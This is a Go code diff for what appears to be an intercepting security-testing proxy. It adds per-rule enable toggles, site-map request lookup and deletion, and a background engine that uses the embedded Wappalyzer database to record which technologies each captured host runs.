@@ -11,10 +11,11 @@ import (
// CustomAddition defines a single piece of data to inject into requests.
type CustomAddition struct {
ID string `json:"id"`
Type string `json:"type"` // "header", "query", "body"
Name string `json:"name"`
Value string `json:"value"`
ID string `json:"id"`
Type string `json:"type"` // "header", "query", "body"
Name string `json:"name"`
Value string `json:"value"`
Enabled bool `json:"enabled"` // per-item gate, under the global toggle
}
// CustomData manages a set of additive request modifications.
@@ -62,10 +63,11 @@ func (cd *CustomData) SetItems(items []CustomAddition) {
// AddItem adds a new item with a generated ID. Returns the item.
func (cd *CustomData) AddItem(typ, name, value string) CustomAddition {
item := CustomAddition{
ID: GenerateID(),
Type: typ,
Name: name,
Value: value,
ID: GenerateID(),
Type: typ,
Name: name,
Value: value,
Enabled: true,
}
cd.mu.Lock()
defer cd.mu.Unlock()
@@ -86,6 +88,19 @@ func (cd *CustomData) RemoveItem(id string) bool {
return false
}
// SetItemEnabled toggles a single item by ID. Returns true if found.
func (cd *CustomData) SetItemEnabled(id string, enabled bool) bool {
cd.mu.Lock()
defer cd.mu.Unlock()
for i := range cd.items {
if cd.items[i].ID == id {
cd.items[i].Enabled = enabled
return true
}
}
return false
}
// applyCustomData applies custom data additions to an *http.Request.
func applyCustomData(cd *CustomData, r *http.Request) *http.Request {
if cd == nil || !cd.IsEnabled() {
@@ -98,6 +113,9 @@ func applyCustomData(cd *CustomData, r *http.Request) *http.Request {
cd.mu.RUnlock()
for _, item := range items {
if !item.Enabled {
continue
}
switch item.Type {
case "header":
if !slices.Contains(r.Header.Values(item.Name), item.Value) {
+3
View File
@@ -345,6 +345,9 @@ func applyCustomDataRaw(cd *CustomData, raw []byte) []byte {
bodyMutated := false
for _, item := range items {
if !item.Enabled {
continue
}
switch item.Type {
case "header":
full := fmt.Sprintf("%s: %s", item.Name, item.Value)
+17 -2
View File
@@ -17,6 +17,7 @@ type MatchReplaceRule struct {
MatchType string `json:"matchType"` // "string" or "regex"
Match string `json:"match"`
Replace string `json:"replace"`
Enabled bool `json:"enabled"` // per-rule gate, under the global toggle
compiled *regexp.Regexp // cached for regex rules
}
@@ -75,6 +76,7 @@ func (mr *MatchReplace) AddRule(target, matchType, match, replace string) MatchR
MatchType: matchType,
Match: match,
Replace: replace,
Enabled: true,
}
if matchType == "regex" {
rule.compiled, _ = regexp.Compile(match)
@@ -98,12 +100,25 @@ func (mr *MatchReplace) RemoveRule(id string) bool {
return false
}
// SetRuleEnabled toggles a single rule by ID. Returns true if found.
func (mr *MatchReplace) SetRuleEnabled(id string, enabled bool) bool {
mr.mu.Lock()
defer mr.mu.Unlock()
for i := range mr.rules {
if mr.rules[i].ID == id {
mr.rules[i].Enabled = enabled
return true
}
}
return false
}
// HasResponseRules reports whether any rules target response_header or response_body.
func (mr *MatchReplace) HasResponseRules() bool {
mr.mu.RLock()
defer mr.mu.RUnlock()
for _, r := range mr.rules {
if r.Target == "response_header" || r.Target == "response_body" {
if r.Enabled && (r.Target == "response_header" || r.Target == "response_body") {
return true
}
}
@@ -118,7 +133,7 @@ func (mr *MatchReplace) Apply(target string, data []byte) []byte {
return data
}
for _, r := range mr.rules {
if r.Target != target {
if r.Target != target || !r.Enabled {
continue
}
if r.MatchType == "regex" {
+76 -2
View File
@@ -3,6 +3,7 @@ package proxy
import (
"net/url"
"path"
"path/filepath"
"regexp"
"sort"
"strings"
@@ -438,8 +439,12 @@ type SitemapVariant struct {
// SitemapEndpoint represents a unique path within a host.
type SitemapEndpoint struct {
Path string `json:"path"`
Methods []string `json:"methods"`
Path string `json:"path"`
Methods []string `json:"methods"`
// Params is the union of the variant keys below: query-string names only,
// with no values. It is what distinguishes one variant from another, not an
// inventory of the endpoint's inputs — a body, cookie or header parameter
// never appears here. The inventory is echo.Inventory, over NodeRequests.
Params []string `json:"params"`
Variants []SitemapVariant `json:"variants"`
Count int `json:"count"`
@@ -593,6 +598,44 @@ func (s *Store) Sitemap(f RequestFilter) []SitemapHost {
return hosts
}
// NodeRequests returns the captured requests behind a site-map node, newest
// first. origin is required and is compared using the same derivation as Sitemap
// and DeleteSitemapNode (u.Scheme + "://" + u.Host); when matchPath is true only
// requests whose URL path == path are returned (endpoint-level), otherwise every
// request for the origin is (host-level).
//
// The filter and the 404 skip are Sitemap's, not DeleteSitemapNode's: a caller
// inventorying a node is answering a question about the tree the operator is
// looking at, so it must see exactly the requests that built that tree. Deletion
// takes the opposite side for its own stated reason.
//
// Returned pointers alias the stored records, which are never mutated after Add,
// so a caller may read them without holding the lock. Requests whose URL cannot
// be parsed are skipped.
func (s *Store) NodeRequests(origin, path string, matchPath bool, f RequestFilter) []*CapturedRequest {
s.mu.RLock()
defer s.mu.RUnlock()
matcher := newRequestMatcher(f)
var out []*CapturedRequest
for i := len(s.items) - 1; i >= 0; i-- {
r := s.items[i]
if r.StatusCode == 404 || !matcher.match(r) {
continue
}
u, err := url.Parse(r.URL)
if err != nil {
continue
}
if u.Scheme+"://"+u.Host != origin || (matchPath && u.Path != path) {
continue
}
out = append(out, r)
}
return out
}
// DeleteSitemapNode removes all captured requests belonging to a site-map node.
// origin is required (scheme://host[:port]) and is compared using the same
// derivation as Sitemap (u.Scheme + "://" + u.Host). When matchPath is true, only
@@ -624,6 +667,37 @@ func (s *Store) DeleteSitemapNode(origin, path string, matchPath bool) int {
return removed
}
// DeleteByHostPattern removes every captured request whose host matches the given
// host glob, using the same filepath.Match predicate (case-insensitive) that the
// NoiseFilter applies in IsNoisy and Scope applies in matchRule. It is the "clear
// what is already captured" companion to adding a noise pattern, so the rows removed
// are exactly the ones the pattern suppresses going forward. Host is derived like
// Sitemap/DeleteSitemapNode (u.Host); requests whose URL cannot be parsed are kept.
// Returns the number of requests removed.
func (s *Store) DeleteByHostPattern(hostPattern string) int {
s.mu.Lock()
defer s.mu.Unlock()
pat := strings.ToLower(hostPattern)
kept := s.items[:0]
removed := 0
for _, r := range s.items {
u, err := url.Parse(r.URL)
if err != nil {
kept = append(kept, r)
continue
}
matched, merr := filepath.Match(pat, strings.ToLower(u.Host))
if merr != nil || !matched {
kept = append(kept, r)
continue
}
removed++
}
s.items = kept
return removed
}
// Clear removes all stored requests.
func (s *Store) Clear() {
s.mu.Lock()
+14
View File
@@ -0,0 +1,14 @@
package techfp
import _ "embed"
// The Wappalyzer fingerprint database, shipped unmodified under its MIT license
// (see wappalyzer/LICENSE.md). It is embedded data, not a Go dependency, so it
// adds nothing to the module graph or the plugin ABI — the reason the library
// itself (which now pulls a headless-browser tree) is not imported.
//
//go:embed wappalyzer/fingerprints_data.json
var fingerprintsJSON []byte
//go:embed wappalyzer/categories_data.json
var categoriesJSON []byte
+392
View File
@@ -0,0 +1,392 @@
package techfp
import (
"context"
"errors"
"log"
"runtime"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
const (
scanInterval = 500 * time.Millisecond
maxPerTick = 100
progressInterval = 500 * time.Millisecond
// maxBodyScan caps the body handed to the deep (html/scriptSrc/meta) pass.
// A fingerprint lives in the <head> and early markup; scanning megabytes of
// a document body buys nothing.
maxBodyScan = 512 * 1024
)
// ErrScanRunning is returned when a rescan is already in progress.
var ErrScanRunning = errors.New("a fingerprint scan is already running")
// ScanStatus reports an on-demand rescan.
type ScanStatus struct {
Running bool `json:"running"`
JobID string `json:"jobId,omitempty"`
Scanned int `json:"scanned"`
Total int `json:"total"`
StartedAt time.Time `json:"startedAt,omitempty"`
FinishedAt time.Time `json:"finishedAt,omitempty"`
Status string `json:"status,omitempty"` // "running" | "complete" | "stopped"
}
// RescanRequest describes a backfill over captured history. Scope "host" with a
// Host re-fingerprints one host; anything else re-fingerprints all captures.
// Clear drops the derived map first (used on a project switch).
type RescanRequest struct {
Scope string `json:"scope"`
Host string `json:"host,omitempty"`
Clear bool `json:"clear,omitempty"`
}
// Engine owns the cursor over captured traffic and the per-host technology store.
// Analysis runs here, not on the proxy's request path, for the reason detect's
// scanner gives: a browser waiting on a response must never wait on analysis, and
// a pass that pulls from the store is the same code a rescan would run.
type Engine struct {
store *Store
reqs *proxy.Store
broadcast chan<- any
wapp atomic.Pointer[Wappalyzer] // built once on the loop goroutine
ready atomic.Bool
enabled atomic.Bool
cursor atomic.Int64
wake chan struct{}
buildOnce sync.Once
// Rescan machinery, mirroring echo's: one rescan at a time, with cancel.
mu sync.Mutex
status ScanStatus
cancel context.CancelFunc
}
// NewEngine constructs the engine. The database is compiled lazily on the first
// loop iteration so the ~6k RE2 compilations stay off the server's boot path.
func NewEngine(store *Store, reqs *proxy.Store, broadcast chan<- any) *Engine {
e := &Engine{store: store, reqs: reqs, broadcast: broadcast, wake: make(chan struct{}, 1)}
e.enabled.Store(true)
return e
}
// Store exposes the technology store for the API and the active-scan rule.
func (e *Engine) Store() *Store { return e.store }
// Enabled reports whether fingerprinting is active.
func (e *Engine) Enabled() bool { return e.enabled.Load() }
// SetEnabled toggles fingerprinting. A disabled engine no-ops per tick, so a live
// toggle needs no restart.
func (e *Engine) SetEnabled(on bool) {
e.enabled.Store(on)
e.Wake()
}
// ResetCursor rewinds to seq and drops the derived map, because LoadItems
// rewrites sequence numbers and a tag filed under an old one would describe a
// different host's traffic.
func (e *Engine) ResetCursor(seq int) {
e.cursor.Store(int64(seq))
if seq == 0 {
e.store.Clear()
}
}
// Wake nudges the loop without waiting for the next tick.
func (e *Engine) Wake() {
select {
case e.wake <- struct{}{}:
default:
}
}
// Run drives the live scan loop until ctx is cancelled.
func (e *Engine) Run(ctx context.Context) {
e.build()
if !e.ready.Load() {
return // database failed to compile; logged in build
}
ticker := time.NewTicker(scanInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
e.scanOnce(ctx)
case <-e.wake:
e.scanOnce(ctx)
}
}
}
func (e *Engine) build() {
e.buildOnce.Do(func() {
w, st, err := LoadWappalyzer()
if err != nil {
log.Printf("techfp: fingerprint database failed to load: %v", err)
return
}
e.wapp.Store(w)
e.ready.Store(true)
log.Printf("techfp: fingerprint database loaded (%d technologies, %d patterns, %d dropped)",
st.Techs, st.Patterns, st.Dropped)
})
}
func (e *Engine) scanOnce(ctx context.Context) {
if !e.enabled.Load() || e.reqs == nil {
return
}
w := e.wapp.Load()
if w == nil {
return
}
cursor := int(e.cursor.Load())
items := e.reqs.SinceSeq(cursor, maxPerTick)
if len(items) == 0 {
return
}
maxSeq := cursor
for _, it := range items {
if it.Seq > maxSeq {
maxSeq = it.Seq
}
}
changed := e.fanOut(ctx, w, items, false, nil)
e.cursor.Store(int64(maxSeq))
if changed > 0 {
e.emitSummary()
}
}
// StartRescan re-fingerprints captured history in the background: all hosts, or
// one when Scope is "host". Unlike the live loop it forces the deep-scan pass, so
// a host already past the per-host cap is still fully re-examined. One runs at a
// time. Pass the server-lifetime context so the job outlives the request.
func (e *Engine) StartRescan(ctx context.Context, req RescanRequest) (ScanStatus, error) {
if e.reqs == nil {
return ScanStatus{}, errors.New("no capture store")
}
e.mu.Lock()
if e.status.Running {
st := e.status
e.mu.Unlock()
return st, ErrScanRunning
}
items := e.reqs.All()
// Exact host match, deliberately not the case-insensitive substring a listing
// uses: a rescan is work, not a view, and a substring would silently multiply it.
if req.Scope == "host" && req.Host != "" {
filtered := items[:0:0]
for _, it := range items {
if it.Host == req.Host {
filtered = append(filtered, it)
}
}
items = filtered
}
jobID := proxy.GenerateID()
rctx, cancel := context.WithCancel(ctx)
e.cancel = cancel
e.status = ScanStatus{Running: true, JobID: jobID, Total: len(items), StartedAt: time.Now(), Status: "running"}
status := e.status
e.mu.Unlock()
if req.Clear {
e.store.Clear()
}
go e.runRescan(rctx, cancel, jobID, items)
return status, nil
}
func (e *Engine) runRescan(ctx context.Context, cancel context.CancelFunc, jobID string, items []*proxy.CapturedRequest) {
defer cancel()
e.build()
w := e.wapp.Load()
started := time.Now()
e.emit("tech.scan.started", map[string]any{"jobId": jobID, "total": len(items)})
scanned := 0
if w != nil {
scanned = e.fanOut(ctx, w, items, true, func(n int) {
e.mu.Lock()
e.status.Scanned = n
e.mu.Unlock()
e.emit("tech.scan.progress", map[string]any{"jobId": jobID, "scanned": n, "total": len(items)})
})
}
state := "complete"
if ctx.Err() != nil {
state = "stopped"
}
e.mu.Lock()
e.status.Running = false
e.status.Scanned = scanned
e.status.FinishedAt = time.Now()
e.status.Status = state
e.cancel = nil
e.mu.Unlock()
e.emit("tech.scan.complete", map[string]any{
"jobId": jobID, "status": state, "scanned": scanned,
"durationMs": time.Since(started).Milliseconds(),
})
e.emitSummary()
}
// Status returns a copy of the current rescan status.
func (e *Engine) Status() ScanStatus {
e.mu.Lock()
defer e.mu.Unlock()
return e.status
}
// Cancel stops a running rescan.
func (e *Engine) Cancel() {
e.mu.Lock()
cancel := e.cancel
e.mu.Unlock()
if cancel != nil {
cancel()
}
}
func scanWorkers(n int) int {
w := runtime.NumCPU() / 2
if w < 2 {
w = 2
}
if w > 8 {
w = 8
}
if n < w {
w = n
}
return w
}
// fanOut fingerprints items across a bounded pool and returns how many produced a
// change. The pool needs no coordination beyond the store, which is mutexed. force
// bypasses the per-host deep-scan cap (set on a rescan); onProgress, when non-nil,
// is called from the producer at most once per progressInterval.
func (e *Engine) fanOut(ctx context.Context, w *Wappalyzer, items []*proxy.CapturedRequest, force bool, onProgress func(scanned int)) int {
workers := scanWorkers(len(items))
if workers <= 0 {
return 0
}
work := make(chan *proxy.CapturedRequest, workers)
var changed, scanned atomic.Int64
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for it := range work {
if e.analyzeOne(w, it, force) {
changed.Add(1)
}
scanned.Add(1)
}
}()
}
last := time.Now()
for _, it := range items {
select {
case <-ctx.Done():
close(work)
wg.Wait()
return int(changed.Load())
case work <- it:
}
if onProgress != nil && time.Since(last) >= progressInterval {
last = time.Now()
onProgress(int(scanned.Load()))
}
}
close(work)
wg.Wait()
return int(changed.Load())
}
// analyzeOne fingerprints one capture and folds the result into the host's set.
// It reports whether the host's technology set changed.
func (e *Engine) analyzeOne(w *Wappalyzer, it *proxy.CapturedRequest, force bool) bool {
if it == nil || len(it.RespRaw) == 0 || it.Host == "" {
return false
}
resp := httptools.ReadResponse(it.RespRaw)
isHTML := strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "html")
deep := isHTML && len(resp.Body) > 0 && (force || e.store.NeedsDeepScan(it.Host))
body := resp.Body
if deep && len(body) > maxBodyScan {
body = body[:maxBodyScan]
}
in := Input{Header: resp.Header, URL: it.URL, IsHTML: deep}
if deep {
in.Body = body
}
dets := w.Fingerprint(in)
if len(dets) == 0 {
if deep {
// Record the deep-scan attempt so a tech-less host does not get
// re-scanned forever.
e.store.Observe(it.Host, true, nil)
}
return false
}
changed := e.store.Observe(it.Host, deep, dets)
if changed {
e.emitHost(it.Host)
}
return changed
}
// emitHost streams a host's current technology set. Droppable: the UI reconciles
// from GET /tech/hosts.
func (e *Engine) emitHost(host string) {
if e.broadcast == nil {
return
}
ht, ok := e.store.Host(host)
if !ok {
return
}
select {
case e.broadcast <- event.WSEvent{Type: "tech.detected", Data: ht}:
default:
}
}
func (e *Engine) emitSummary() {
if e.broadcast == nil {
return
}
hosts, techs := e.store.Summary()
select {
case e.broadcast <- event.WSEvent{Type: "tech.summary", Data: map[string]any{"hosts": hosts, "techs": techs}}:
default:
}
}
// emit sends a rescan lifecycle event, blocking so it cannot be lost (the hub
// fans out to subscribers without blocking).
func (e *Engine) emit(kind string, data any) {
if e.broadcast == nil {
return
}
e.broadcast <- event.WSEvent{Type: kind, Data: data}
}
+187
View File
@@ -0,0 +1,187 @@
package techfp
import (
"sort"
"strings"
"sync"
"time"
)
// Tech is one technology observed on a host, folded over every response that
// contributed to it.
type Tech struct {
Name string `json:"name"`
Version string `json:"version,omitempty"`
Categories []string `json:"categories,omitempty"`
Confidence int `json:"confidence"`
// CPE is the technology's CPE 2.3 string (vendor:product), when the database has one.
// Surfaced so the UI can join a host's stack against CVE/KEV feeds by vendor/product.
CPE string `json:"cpe,omitempty"`
}
// HostTech is the technology set for one host.
type HostTech struct {
Host string `json:"host"`
Technologies []Tech `json:"technologies"`
UpdatedAt time.Time `json:"updatedAt"`
}
// Store is the cumulative per-host technology map. It is rebuilt from the capture
// store on demand (a reset clears it), not persisted separately — the same reason
// echo's reflection map is in-memory: it is derivable from captured traffic.
type Store struct {
mu sync.RWMutex
hosts map[string]map[string]*Tech
seen map[string]int // host -> count of HTML responses deep-scanned
times map[string]time.Time
}
// NewStore creates an empty store.
func NewStore() *Store {
return &Store{
hosts: map[string]map[string]*Tech{},
seen: map[string]int{},
times: map[string]time.Time{},
}
}
// maxDeepScansPerHost caps how many HTML pages of one host get the expensive
// body/scriptSrc/meta pass. Technology is host-stable, so a handful of pages
// settles the set; further pages only re-confirm it.
const maxDeepScansPerHost = 8
// NeedsDeepScan reports whether this host still warrants the body-matching pass.
func (s *Store) NeedsDeepScan(host string) bool {
host = normHost(host)
s.mu.RLock()
defer s.mu.RUnlock()
return s.seen[host] < maxDeepScansPerHost
}
func (s *Store) noteDeepScan(host string) {
s.seen[host]++
}
// Observe folds a response's detections into a host's set and reports whether
// anything changed (a new technology or a newly-learned version), which is what
// gates a broadcast.
func (s *Store) Observe(host string, deep bool, dets []Detection) bool {
host = normHost(host)
s.mu.Lock()
defer s.mu.Unlock()
if deep {
s.noteDeepScan(host)
}
set := s.hosts[host]
if set == nil {
set = map[string]*Tech{}
s.hosts[host] = set
}
changed := false
for _, d := range dets {
cur := set[d.Name]
if cur == nil {
set[d.Name] = &Tech{
Name: d.Name, Version: d.Version, CPE: d.CPE,
Categories: d.Categories, Confidence: d.Confidence,
}
changed = true
continue
}
if d.Version != "" && cur.Version == "" {
cur.Version = d.Version
changed = true
}
if d.Confidence > cur.Confidence {
cur.Confidence = d.Confidence
}
}
if changed {
s.times[host] = time.Now()
}
return changed
}
// Host returns the technology set for one host.
func (s *Store) Host(host string) (HostTech, bool) {
host = normHost(host)
s.mu.RLock()
defer s.mu.RUnlock()
set, ok := s.hosts[host]
if !ok || len(set) == 0 {
return HostTech{}, false
}
return s.snapshot(host, set), true
}
// Names returns just the detected technology names for a host, for scan gating.
func (s *Store) Names(host string) []string {
host = normHost(host)
s.mu.RLock()
defer s.mu.RUnlock()
set := s.hosts[host]
out := make([]string, 0, len(set))
for name := range set {
out = append(out, name)
}
return out
}
// Hosts returns every host's technology set, newest first.
func (s *Store) Hosts() []HostTech {
s.mu.RLock()
defer s.mu.RUnlock()
out := make([]HostTech, 0, len(s.hosts))
for host, set := range s.hosts {
if len(set) == 0 {
continue
}
out = append(out, s.snapshot(host, set))
}
sort.Slice(out, func(i, j int) bool { return out[i].UpdatedAt.After(out[j].UpdatedAt) })
return out
}
// Clear drops everything, for a cursor reset (history load/clear rewrites the
// sequence numbering the scanner walks).
func (s *Store) Clear() {
s.mu.Lock()
defer s.mu.Unlock()
s.hosts = map[string]map[string]*Tech{}
s.seen = map[string]int{}
s.times = map[string]time.Time{}
}
// Summary counts hosts and distinct technologies.
func (s *Store) Summary() (hosts, techs int) {
s.mu.RLock()
defer s.mu.RUnlock()
distinct := map[string]struct{}{}
for _, set := range s.hosts {
if len(set) == 0 {
continue
}
hosts++
for name := range set {
distinct[name] = struct{}{}
}
}
return hosts, len(distinct)
}
// snapshot builds a sorted HostTech. Caller holds the lock.
func (s *Store) snapshot(host string, set map[string]*Tech) HostTech {
techs := make([]Tech, 0, len(set))
for _, t := range set {
techs = append(techs, *t)
}
sort.Slice(techs, func(i, j int) bool {
if techs[i].Confidence != techs[j].Confidence {
return techs[i].Confidence > techs[j].Confidence
}
return techs[i].Name < techs[j].Name
})
return HostTech{Host: host, Technologies: techs, UpdatedAt: s.times[host]}
}
func normHost(h string) string { return strings.ToLower(strings.TrimSpace(h)) }
Loaded 100 of 184 files, more files were not shown because too many files have changed in this diff. Show more